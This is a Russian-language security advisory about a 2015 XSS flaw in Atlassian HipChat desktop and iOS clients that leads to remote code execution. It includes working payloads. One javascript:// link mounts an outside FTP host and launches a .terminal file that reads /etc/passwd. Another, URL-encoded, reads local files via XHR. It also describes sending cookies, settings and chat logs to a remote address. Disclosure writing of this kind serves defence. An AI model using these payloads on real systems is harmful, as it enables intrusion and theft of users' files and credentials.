CVSSv2
N/A
BRIEF
Дата релиза: 12 ноября 2015 года
Автор: Matt Austin
CVE: N/A
Atlassian HipChat представляет собой веб-сервис для общения как внутри команды, так и один на один. Причина его популярности — плотная интеграция с остальными продуктами Atlassian, а также с другими популярными сервисами для разработчиков (GitHub, Heroku и подобными).
Для рендеринга таких объектов, как изображения, видео и смайлы, клиент HipChat использует встроенный движок WebKit. В клиентах для OS X, Windows и iOS при обработке URL-адресов текст, содержащий javascript:
, неправильно конвертируется и превращается в ссылки. Несмотря на то, что это обычная уязвимость типа XSS, в нашем случае она, благодаря тому что позволяет получить доступ к локальным файлам, приводит к удаленному выполнению кода.
Клиент изучает входящие сообщения на наличие данных, которые нужно обработать. К примеру, он поддерживает популярные протоколы, такие как http://
, ftp://
и file://
. Помимо этого, парсер обрабатывает любую конструкцию типа любое_слово://
или любое_слово:/любое_слово
и превращает ее в кликабельную ссылку.
В связи с этим возникает небольшая проблема: так как обработчик ждет символ /
после двоеточия, то наш JavaScript-код будет начинаться с /
. Решение — добавить второй слеш и символ перевода на новую строку. В результате мы получим строку с комментарием и за ним строку с нашим кодом.
javascript://some_comment%0aANY_JAVASCRIPT
Продолжим анализ. Когда мы кликаем ссылку, HipChat пытается ее открыть с помощью браузера, установленного по умолчанию. Это происходит, потому что ссылка передается операционной системе. То есть, нажав на ссылку вида http://...
, мы в большинстве случаев откроем ее в веб-браузере. Но что произойдет с file://
? Система запустит его. В итоге мы можем с помощью XSS выполнить приложение.
file:///Applications/Calculator.app
К сожалению, это будет работать только с приложениями на удаленном компьютере и не позволяет нам передать аргументы.
EXPLOIT
Получается, что нам нужно запустить или собственное приложение, или скрипт, то есть необходим файл, который можно контролировать и который находится в известном месте.
В этом нам поможет особенность обработки FTP-ссылок. Если такая ссылка содержит имя пользователя и пароль, то OS X, к примеру, автоматически подключится к FTP и смонтирует его как отдельный раздел.
Соединяемся, к примеру, с ftp://anonymous:x@104.131.88.251/
. В случае успеха получим file:///Volumes/104.131.88.251/
.
В итоге получим следующий эксплоит:
javascript://comment
location.href="ftp://anonymous:x@104.131.88.251/";
window.setTimeout(function(){location.href="file:///Volumes/104.131.88.251/hack.terminal";},5000)
Файл с расширением terminal используется не зря. У приложения Terminal.app есть файл с настройками с возможностью указать команду запуска. Это нужно для выполнения чего-либо в обход некоторых требований (права выполнения, различные подписи кода) в стандартных shell-скриптах. Hack.app также находится в этой директории и будет выполнен.
<dict>
<key>WindowTitle</key>
<string>Hacked!!!</string>
<key>CommandString</key>
<string>
cat /etc/passwd;
osascript -e 'display dialog "You just got hacked!"'
</string>
...
На мобильных же устройствах мы имеем XSS, но не выполнение кода. С помощью XSS мы можем выполнить XHR-запрос к локальным файлам системы, используя file://
. А воспользовавшись недоработками в Same Origin Policy встроенного движка WebKit, сможем отправить на удаленный адрес второй AJAX-запрос с нужными нам данными. Это позволяет атакующему украсть любые локальные документы, такие как файлы с настройками, кешированные файлы, cookies или логи чатов. Это работает как в iOS, так и в OS X.
Закодированная ссылка:
javascript://comment%0a%72%3d%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%0a%72%2e%6f%70%65%6e%28%27%47%45%54%27%2c%27%66%69%6c%65%3a%2f%2f%2f%65%74%63%2f%70%61%73%73%77%64%27%2c%66%61%6c%73%65%29%3b%0a%72%2e%73%65%6e%64%28%6e%75%6c%6c%29%3b%0a%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%27%63%68%61%74%5f%74%65%78%74%27%29%2e%69%6e%6e%65%72%48%54%4d%4c%3d%72%2e%72%65%73%70%6f%6e%73%65%54%65%78%74%3b
Оригинальный текст:
javascript://comment[\r\n]
r=new XMLHttpRequest();
r.open('GET','file:///etc/passwd',false);
r.send(null);
document.getElementById('chat_text').innerHTML=r.responseText;
Автор также опубликовал демонстрационное видео, а все указанные выше скрипты доступны на GitHub.
TARGETS
Протестировано на Atlassian HipChat OS X 3.0.6 (132) и iOS 2.3.3 (20307). В версиях ниже и под другие платформы также возможно совершить атаку.
SOLUTION
Есть исправление от производителя.